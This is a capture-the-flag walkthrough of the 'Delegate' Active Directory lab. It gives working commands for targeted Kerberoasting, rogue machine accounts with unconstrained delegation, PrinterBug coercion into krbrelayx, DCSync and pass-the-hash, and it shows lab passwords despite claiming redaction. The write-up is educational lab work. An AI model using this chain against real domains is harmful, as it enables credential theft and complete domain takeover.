Delegate

Delegate is a medium Windows Active Directory Machine from VulnLab/Hack The Box that features ACL abuse via targeted Kerberoasting as well as abusing Unconstrained Delegation from a out-of-domain attacker machine.

User passwords and hashes that are not created by the player as well as flags are redacted from this walkthrough as per VulnLab guidelines.

Target: 10.129.234.69

  • Hostname: dc1
  • Domain name: delegate.vl

Nmap Scan

sudo nmap -sVC -T4 -oN nmap 10.129.234.69
Nmap scan report for 10.129.234.69
Host is up (0.057s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-20 13:19:34Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: DELEGATE
|   NetBIOS_Domain_Name: DELEGATE
|   NetBIOS_Computer_Name: DC1
|   DNS_Domain_Name: delegate.vl
|   DNS_Computer_Name: DC1.delegate.vl
|   DNS_Tree_Name: delegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-03-20T13:19:42+00:00
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Not valid before: 2026-03-19T13:17:20
|_Not valid after:  2026-09-18T13:17:20
|_ssl-date: 2026-03-20T13:20:22+00:00; 0s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-03-20T13:19:44
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We can conclude that this box is a domain controller from the presences of the following services:

  • DNS (53/TCP)
  • Kerberos (88/TCP)
  • NetBIOS (139/TCP), SMB/RPC (135/TCP, 445/TCP)
  • LDAP(s) (389/TCP, 636/TCP, 3268/TCP, 3269/TCP)

Additional Services open:

  • RDP (3389/TCP)
  • WinRM (5985/TCP)

SMB

We use Netexec to find what shares the guest user has access to on the target.

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ nxc smb dc1.delegate.vl -u guest -p "" --shares
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\guest:
SMB         10.129.234.69   445    DC1              [*] Enumerated shares
SMB         10.129.234.69   445    DC1              Share           Permissions     Remark
SMB         10.129.234.69   445    DC1              -----           -----------     ------
SMB         10.129.234.69   445    DC1              ADMIN$                          Remote Admin
SMB         10.129.234.69   445    DC1              C$                              Default share
SMB         10.129.234.69   445    DC1              IPC$            READ            Remote IPC
SMB         10.129.234.69   445    DC1              NETLOGON        READ            Logon server share
SMB         10.129.234.69   445    DC1              SYSVOL          READ            Logon server share

There are no non-default shares configured, but NETLOGON often stores logon scripts that could potentially contain sensitive information. We can browse the share with smbclient.

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ smbclient //dc1.delegate.vl/NETLOGON -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Aug 26 07:45:24 2023
  ..                                  D        0  Sat Aug 26 04:45:45 2023
  users.bat                           A      159  Sat Aug 26 07:54:29 2023

                4652287 blocks of size 4096. 1137258 blocks available
smb: \> get users.bat
getting file \users.bat of size 159 as users.bat (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ cat users.bat
rem @echo off
net use * /delete /y
net use v: \\dc1\development

if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator <a.briggs_pass>

Passwords we find in scripts and files should always be verified before using. We use Netexec to do just that.

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ nxc smb dc1.delegate.vl -u a.briggs -p "P4ssw0rd1#123"
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\a.briggs:P4ssw0rd1#123

BloodHound

We use the set of credentials we have access to enumerate the domain. We can do that from a Linux-based attacker machine using bloodhound-ce-python, which generates JSON files that can be fed into BloodHound for analysis.

bloodhound-ce-python -c all -d delegate.vl -u a.briggs -p "<a.briggs_pass>" -dc dc1.delegate.vl -ns 10.129.234.69
bloodhound-cli up

In BloodHound, we find that user a.briggs has GenericWrite access to user n.thompson, who is in turn part of both Remote Management User and Delegation Admins group.

Delegation Admins is not a standard group in Active Directory, but Remote Management Users is a standard group that can access machines on the domain via WinRM. This means if wecan authenticate as n.thompson, we can get command execution capabilities on the target machine.

The user we currently control, a.briggs, has GenericWrite access over n.thompson. This allows us to take control of the user through 3 possible means:

  1. Resetting the user’s password, the easiest option that could also cause disruptions in production environments since the user would be logged out.
  2. Adding Shadow Credentials to the user, which ivolves the attacker adding a public key to the msDs-KeyCredentialLink attribute of the user, enabling the attacker to pre-authenticate to the KDC as that user via PKINIT with the corresponding private key and X509 certificate. However, AD CS needs to be enabled for the attacker to obtain the TGT through PKINIT.
  3. Adding a fake, non-existent Service Principal Name (SPN) to the user through which we may conduct targeted Kerberoasting.

ACL Abuse

After doing some enumeration with certipy find command, it turns out AD CS is disabled on the target, so shadow credentials is out of the question. To simulate a realistic engagement, we will be attempting a target Kerberoasting of the user. We can add a fake SPN to a domain user from a Linux attack machine using bloodyAD, and then use GetUserSPNs.py from Impacket for Kerberoasting.

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ bloodyAD -d delegate.vl --host dc1.delegate.vl -u a.briggs -p "<a.briggs_pass>" set object n.thompson servicePrincipalName -v 'cheeki/breeki'
[+] n.thompson's servicePrincipalName has been updated
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ GetUserSPNs.py -dc-ip 10.129.234.69 -request -request-user n.thompson  DELEGATE.VL/a.briggs:"<a.briggs_pass>"
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name        MemberOf                                         PasswordLastSet             LastLogon                   Delegation
--------------------  ----------  -----------------------------------------------  --------------------------  --------------------------  ----------
cheeki/breeki         N.Thompson  CN=delegation admins,CN=Users,DC=delegate,DC=vl  2023-09-09 10:17:16.247262  2023-09-16 02:18:20.238500



[-] CCache file is not found. Skipping...
$krb5tgs$23$*N.Thompson$DELEGATE.VL$DELEGATE.VL/N.Thompson*$<REDACTED>

We can now attempt to crack the user’s password using Hashcat mode 13100. We would be able to successfully recover the user’s password with the rockyou.txt wordlist.

hashcat -m 13100 -O nthompson.kerberoast /usr/share/dict/rockyou.txt

Now, with the N.Thompson user’s password recovered, we may login to the target via WinRM.

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ evil-winrm -i 10.129.234.69 -u n.thompson -p <n.thompson_pass>
[...]
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> type ..\Desktop\user.txt
<REDACTED>

Privilege Escalation

One of the first checks I like to do after landing a foothold on a target is to check the current user’s privileges, which often yield easy a path to Admin. However, this time, the path is not quite as easy.

*Evil-WinRM* PS C:\Users\N.Thompson\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

N.Thompson has standard user privileges except for SeEnableDelegationPrivilege, which governs whether a user account can “Enable computer and user accounts to be trusted for delegation” (from Microsoft Documentation).

The delegation the documentation refers to is Kerberos Delegation, which is a series of Kerberos protocol extensions and mechanisms that allow a Service Principal request service tickets on the behalf of an user authenticated to it. The most permissive type of delegation is unconstrained delegation, where the user would pass their TGT (Ticket Granting Ticket) to the service principal in addition to their service ticket. The service principal would then use the user’s TGT to request service tickets for any service on the user’s behalf. This is as dangerous as it sounds, and unconstrained delegation is mostly avoided in favor of less permissive options such as constrained delegation or resource-bound constrained delegation.

If we have a fully compromised machine on the domain, we can give it unconstrained delegation and collect TGTs as users authenticate to it, which is not the case. The alternative solution involves “adding our machine to the domain”. This means we would create a computer account, an DNS record that points back to our IP address, and an SPN on the computer account to tie it to the DNS record in addition to enabling unconstrained delegation on our created computer account.

By default standard users are allowed to add up to 10 machine accounts to an Active Directory domain. We can confirm the machine account quota set for the users in the domain with Netexec:

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ nxc ldap dc1.delegate.vl -u n.thompson -p "<n.thompson_pass>" -M maq
LDAP        10.129.234.69   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.69   389    DC1              [+] delegate.vl\n.thompson:KALEB_2341
MAQ         10.129.234.69   389    DC1              [*] Getting the MachineAccountQuota
MAQ         10.129.234.69   389    DC1              MachineAccountQuota: 10

With a machine quota of 10, we can add a new computer account to the domain using addcomputer.py from Impacket. The script will print the generated password in your console, so copy it down before you clear your terminal!

╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ addcomputer.py -dc-ip 10.129.234.69 -computer-name attacker delegate.vl/N.Thompson:'<n.thompson_pass>'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account attacker$ with password 5q63EQofwFWetgLw50Hrjse9hk9VTand.

We will use several scripts from dirkjanm’s krbrelayx to complete the rest of the abuse process. We make use of the dnstools.py from the same repo to add a DNS record on the domain controller for our machine.

╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ python dnstool.py -u 'delegate.vl\attacker$' -p '5q63EQofwFWetgLw50Hrjse9hk9VTand' --action add -r attacker.delegate.vl -d <attacker_ip> --type A -dns-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Now, we add an SPN (cifs/HOSTNAME) to the computer account we just created using addspn.py from krbrelayx repo. We run the command twice, the first time with the --additional flag to add the SPN via the msDS-AdditionalDnsHostName property, and the second time without the flag to edit the standard servicePrincipalName property.

╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ python addspn.py -u 'delegate.vl\N.Thompson' -p '<n.thompson_pass>' -s 'cifs/attacker.delegate.vl' -t 'attacker$' -dc-ip 10.129.234.69 dc1.delegate.vl --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ python addspn.py -u 'delegate.vl\N.Thompson' -p '<n.thompson_pass>' -s 'cifs/attacker.delegate.vl' -t 'attacker$' -dc-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

As the final step of our preparation, we enable TRUSTED_FOR_DELEGATION flag in the User Account Control settings for the created computer account with bloodyAD.

╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ bloodyAD -d delegate.vl -u N.Thompson -p <n.thompson_pass> --host dc1.delegate.vl add uac 'attacker$' -f TRUSTED_FOR_DELEGATION
[+] ['TRUSTED_FOR_DELEGATION'] property flags added to attacker$'s userAccountControl

To actually be able to receive and decrypt the TGTs we receive, we make use of krbrelayx.py dirkjanm made to specifically exploit unconstrained delegation from an attacker machine outside the domain. This tool requires us to provide the NT hash of the computer account we created. We can convert our plaintext password to NT hash by using pypykatz.

╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ pypykatz crypto nt 5q63EQofwFWetgLw50Hrjse9hk9VTand
83ceb95db815bc5b5de86b3438bfb7eb

Now, we start the krbrelayx on our attacker machine.

sudo python krbrelayx.py -hashes :83ceb95db815bc5b5de86b3438bfb7eb --interface-ip <attacker_ip>

We can obtain a TGT by coercing the domain controller computer account to authenticate to us. There are various methods of authentication coersion. I made use of the PrinterBug method in the print spooler service by using the coerce_plus module from Netexec on a separate terminal window.

╭─brian@rx-93-nu ~
╰─$ nxc smb dc1.delegate.vl -u 'attacker$' -p "5q63EQofwFWetgLw50Hrjse9hk9VTand" -M coerce_plus -o LISTENER=attacker.delegate.vl Method=PrinterBug
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\attacker$:5q63EQofwFWetgLw50Hrjse9hk9VTand
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx

On the terminal running krbrelayx, we should start receiving TGTs from the domain controller, which is passed to us in addition to a service ticket thanks to unconstrained delegation.

╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ sudo python krbrelayx.py -hashes :83ceb95db815bc5b5de86b3438bfb7eb --interface-ip <attacker_ip>
[...]
[*] SMBD: Received connection from 10.129.234.69
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
[*] SMBD: Received connection from 10.129.234.69
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.234.69
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
^C
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ ls
 addspn.py                                     dnstool.py     lib       printerbug.py
'DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache'   krbrelayx.py   LICENSE   README.md

With the TGT of the domain controller in hand, we may compromise the entire domain by importing the TGT into memory, and use it to dump the password hashes of the users via DCSync.

╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ export KRB5CCNAME=$PWD/'DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache'
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ klist
Ticket cache: FILE:/home/brian/Documents/study_files/hacking/vulnlab/delegate/krbrelayx/DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
Default principal: DC1$@DELEGATE.VL

Valid starting       Expires              Service principal
03/20/2026 14:58:39  03/21/2026 00:43:26  krbtgt/DELEGATE.VL@DELEGATE.VL
        renew until 03/27/2026 14:43:26

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ secretsdump.py -k -no-pass -outputfile hashdump dc1.delegate.vl
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[...]

Finally, we login as the Administrator user, with the hash we just extracted, via WinRM.

╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ evil-winrm -i 10.129.234.69 -u Administrator -H <admin_hash>
[...]
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
<REDACTED>

Conclusion

I have been wanting to learn about Kerberos delegation and their implication on Active Directory security for quite some time. This lab gave me the opportunity to try that hands-on. I recommend this lab if you want to learn more about Active Directory privilege escalation techniques outside of what they teach in OSCP or CPTS.

As always, I hope you found this walkthrough useful and educational.

#Medium #Windows #Active Directory #VulnLab #HTB #Kerberos Delegation